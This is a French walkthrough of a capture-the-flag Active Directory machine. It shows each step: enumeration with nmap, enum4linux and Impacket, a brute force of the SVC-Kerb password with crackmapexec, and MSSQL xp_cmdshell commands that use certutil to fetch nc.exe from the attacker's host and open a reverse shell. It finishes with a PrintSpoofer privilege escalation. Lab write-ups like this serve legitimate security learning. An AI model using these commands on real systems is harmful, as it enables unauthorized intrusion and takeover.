Redacted
Redacted
Pour commencer, on fait un scan avec NMAP et cette commande : nmap -T5 -p- 10.10.252.169. En tâche de fond, je lance également l’outil de scan automatique AutoRecon
De nombreux ports sont ouverts comme souvent lorsqu’il s’agit d’un Active Directory. Pour aller plus loin dans l’énumération, on peut utiliser enum4linux.
Commande :
enum4linux 10.10.252.169
Peu d’information ressortent du scan, à part le nom du serveur DC01. C’est une information que l’on va retrouver en énumération les SID avec lookupsid.py que l’on retrouve dans les outils Impacket
Commande :
python /impacket-0.9.22/examples/lookupsid.py anonymous@10.10.104.40
nb : l’IP a changé, car j’ai dû relancer la box…
Parmi la liste des différents comptes utilisateurs, groupe ou alias, il ne faut prendre que les SidTypeUser pour les mettre dans une liste que l’on va utiliser avec GetNPUsers.py toujours d’Impacket.
Commande :
python /impacket-0.9.22/examples/GetNPUsers.py ‘DC01/’ -usersfile user.txt -no-pass -dc-ip 10.10.104.40
Le résultat n’est pas terrible. On ne récupère pas de hash car la pré authentification Kerberos n’est pas active. La seule information intéressante qui apparaît c’est : [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked). Je ne sais pas si cette information est importante. Alors je vais essayer de brute forcer le mot de passe du compte SVC-Kerb. Surtout, car ça sera plus rapide que de les faire tous en même temps.
Commande :
crackmapexec smb 10.10.104.40 -u user_kerb.txt -p /usr/share/wordlists/rockyou.txt
Avec les identifiants du compte SVC-Kerb, on n’a pas la possibilité d’accèder au différent partage SMB. En revanche on peut accèder au service MSSQL sur le port 1433. On a utilisé à nouveau un outil de Impacket, mssqlclient.py. Et avec ça, ça commence à sentir bon.
Commande :
python mssqlclient.py SVC-Kerb@10.10.104.40
Avec xp_cmdshell, ça, c’est un truc que j’ai appris avec l’OSCP, on va pouvoir exécuter à peu près touts les commandes que l’on veut sur le système. Le plus simplement du monde, on va télécharger nc.exe sur la machine cible qui va ensuite nous donné un CMD en reverse shell.
Commande pour créer un dossier :
xp_cmdshell mkdir c:\test
Commande pour télécharger nc.exe
xp_cmdshell certutil -urlcache -split -f http://10.11.38.124:8082/nn.exe C:\test\nn.exe
( bien sûr, il faut mettre un python -m http.server 8082 en écoute avant sur Kali )
Commande pour obtenir le reverse shell :
xp_cmdshell c:\test\nn.exe 10.11.38.124 1414 -e cmd.exe
( avec un nc -nlvp 1414 en ecoute sur Kali )
Exécution de l’une des premières commandes à exécuter : whoami /priv qui nous montre que le privilège SeImpersonatePrivilege Impersonate a client after authentication Enabled est activé.
Il s’agit d’une vulnérabilité connue pour élever les privilèges dans Windows. Il existe plusieurs façons pour l’exploiter, mais seule PrintSpoofer était le seul qui fonctionnait. Comme pour nc.exe, il faut le télécharger sur la machine cible avec cette commande :
certutil -urlcache -split -f http://10.11.38.124:8082/PrintSpoofer64.exe C:\test\PrintSpoofer64.exe
Commande pour passer Administrator :
PrintSpoofer64.exe -i -c cmd
Voilà, la machine est rootée. Le compte dc$ permet de récupérer les deux flags.